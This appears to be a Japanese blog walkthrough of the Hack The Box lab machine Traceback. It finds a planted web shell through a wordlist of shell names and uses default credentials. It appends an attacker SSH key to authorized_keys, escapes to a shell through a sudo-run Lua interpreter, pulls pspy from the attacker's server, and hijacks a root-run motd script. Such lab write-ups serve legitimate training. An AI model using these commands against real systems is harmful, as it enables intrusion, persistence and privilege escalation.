セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Traceback Walkthrough

はじめに

  • マシン名:Traceback
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.181

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.181

f:id:Paichan:20200914220905p:plain 22(ssh)、80(http)が開いている。

ブラウザで80番へアクセス

ブラウザでアクセス後、ソースを見てみると、コメントで以下が書かれていた。
<!--Some of the best web shells that you might need ;)--> f:id:Paichan:20200914221032p:plain

webshellの検索

上記コメントを検索してみると、以下のページが見つかる。このマシンの作者(Xh4h)のgithubのページだ。 github.com

このページにあるwebshellが存在することが予想できるため、以下のようにwebshellという名前でワードリストを作成した。

root@kali:~/traceback# cat websehll 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

ディレクトリスキャン

作成したワードファイルを使ってディレクトリスキャン。

# gobuster dir -u http://10.10.10.181 -w websehll

f:id:Paichan:20200914221619p:plain /smevk.phpを発見。

webshellの操作

/smevk.phpにアクセスすると、認証情報を求められるが、githubページのソースに以下のような記載があり、admin/adminでログインできた。

$UserName = "admin"; //Your UserName here.
auth_pass = "admin"; //Your Password.

smevk.phpは以下のような画面。 f:id:Paichan:20200914222049p:plain webadminというユーザの権限でシェルが操作できる。
/home/webadmin配下にはuser.txtはなかったが/homeにはもう一人のユーザsysadminがいた。

このwebshellが操作しにくいので、ssh接続できるように攻撃者側の公開鍵(id_rsa.pub)を/home/webadmin/.ssh/authorized_keysに追記する。

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOAXInxQYyXzFm+8GCb7ipAiB4tDz2iYYgGGvvBD48mJPrVdH8FwkW7dE9Oszg4FSN57bo44mg3thNOZ1dCQyjk+V1KoUeY9Vf8jNcNs1mBpBE8MQ+F/FRtWTZGk36x+mdSw/iNpqzV6XWLN5X+MDQ2nwagq/yvHD70HxE84WhlZ/5D40Xanwu9NBXncn9itqc+u9ta76NNyuGg2MBzmJxfwsSAG4v/sMP4lhCN7ez+vdObhqzImzScc6Oe1Typoood3fPNMCgX8mhAO+n/uQSMGslhLllON/Dxa48wp85F3qTZ7GhSGtTQn3iFzKal+o3mrybnJOJ9tiS2JUt5D/BEI6+YPD3fhnAfnC2vCiilijUzG89giTZIjgESNwlNShZrbTui8VS2VJml7/tFO003ifaxGcHPq0jJuA/x3bj/TfvUw1sJRqzbkF/sDSGpWZWvsLCi/JNVdEmEY/2gRC+c3Kjo3gqHq8ErfzezayhCgg1Q0S3Y/uMujwFqLcd1F8= root@kali" >> authorized_keys

追記できたことを確認。 f:id:Paichan:20200914222705p:plain

userシェル取得まで

公開鍵認証方式でターゲットマシンにssh接続する。

ssh webadmin@10.10.10.181 -i /root/.ssh/id_rsa

f:id:Paichan:20200914223215p:plain メッセージが表示された後、接続に成功した。

/home/webadmin配下にあるnote.txtを見ると、luaを練習するためのツールを置きっぱなしにしてしまったと書かれている。

webadmin@traceback:~$ cat note.txt 
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

続いて、sudoの権限を確認すると、パスワードなしで/home/sysadmin/luvitとやらが実行できそうだったので、sysadminで実行してみた。

$ sudo -l
$ sudo -u sysadmin /home/sysadmin/luvit

f:id:Paichan:20200914223704p:plain インタプリタのようだ。上述のnote.txtにも書かれていたが、luaインタプリタだろう。

luaのことは全く分からなかったので、以下を参考にした。 https://gtfobins.github.io/gtfobins/lua/

インタプリタ上でos.execute("/bin/bash")を実行したら、sysadminの権限でbashのシェルが使えるようになった。 これでuser.txt取得完了。

権限昇格のための情報収集

sudo実行権限を確認しようとしたが、パスワードが求められたためだめ。
sshアクセスした際にメッセージが表示されたいたことから、sshアクセス時に何らかのスクリプトが実行されていると考え、
pspyを使うことにする。OSは64bitだったので、pspy64を攻撃者側環境から持ってくる。

攻撃者環境でpythonSimpleHTTPServerで待ち受けた状態で、以下を実行する。

$ http://10.10.14.13:8888/pspy64
$ chmod +x pspy64
$ ./pspy64

別シェルからwebadminでssh接続し、pspyの出力をモニタリングする。root権限で青字のプロセスが実行されている。 f:id:Paichan:20200915211330p:plain

/etc/update-motd.d配下のファイルにアクセスしているようなので、ここを見に行く。 f:id:Paichan:20200915211932p:plain

00-headerというファイル末尾に、ssh接続した際に表示されたメッセージの記載がある。つまり、ssh接続するとroot権限でこのスクリプトが実行されるため、ここにroot.txtを読み出すようなコマンドを書けば良さそうだ。

root.txt取得まで

/etc/update-motd.d/00-headerの末尾に以下を追加した。

$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header

追加後、別シェルでssh接続するとroot.txtが表示された。 f:id:Paichan:20200915212153p:plain